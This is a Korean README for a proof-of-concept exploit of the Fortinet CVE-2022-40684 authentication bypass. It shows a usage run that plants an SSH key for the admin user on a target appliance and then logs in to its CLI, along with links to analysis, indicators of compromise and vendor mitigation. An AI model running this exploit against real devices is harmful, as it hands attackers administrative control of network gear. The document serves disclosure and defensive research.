CVE-2022-40684

CVE-2022-40684에 대한 POC로, Fortinet FortiOS, FortiProxy 및 FortiSwitchManager 장비에 영향을 미칩니다.

기술 분석

취약점에 대한 기술적 근본 원인 분석은 당사 블로그에서 확인할 수 있습니다: https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684

침해 지표

침해 지표에 대한 Fortinet 로그 분석 및 심층 로그 활성화 방법은 당사의 IOC 블로그를 참조하십시오: https://www.horizon3.ai/fortinet-iocs-cve-2022-40684/

요약

이 POC는 인증 우회 취약점을 악용하여 지정된 사용자에 대한 SSH 키를 설정합니다.

사용법

root@kali:~# python3 CVE-2022-40684.py -t 10.0.40.67 --username admin --key-file ~/.ssh/id_rsa.pub
[+] SSH key for admin added successfully!
root@kali:~# ssh [email protected]
fortios_7_2_1 # 
config      Configure object.
get         Get dynamic and system information.
show        Show configuration.
diagnose    Diagnose facility.
execute     Execute static commands.
alias       Execute alias commands.
exit        Exit the CLI.

완화 방안

최신 버전으로 업데이트하거나 Fortinet PSIRT의 지침에 따라 완화 조치를 수행하십시오.

• https://www.fortiguard.com/psirt/FG-IR-22-377

Twitter에서 Horizon3.ai Attack Team을 팔로우하여 최신 보안 연구를 확인하세요:

• Horizon3 Attack Team
• James Horseman
• Zach Hanley

면책 조항

이 소프트웨어는 오로지 학술 연구 및 효과적인 방어 기술 개발 목적으로만 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템을 공격하는 데 사용되지 않습니다. 프로젝트 관리자는 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하십시오.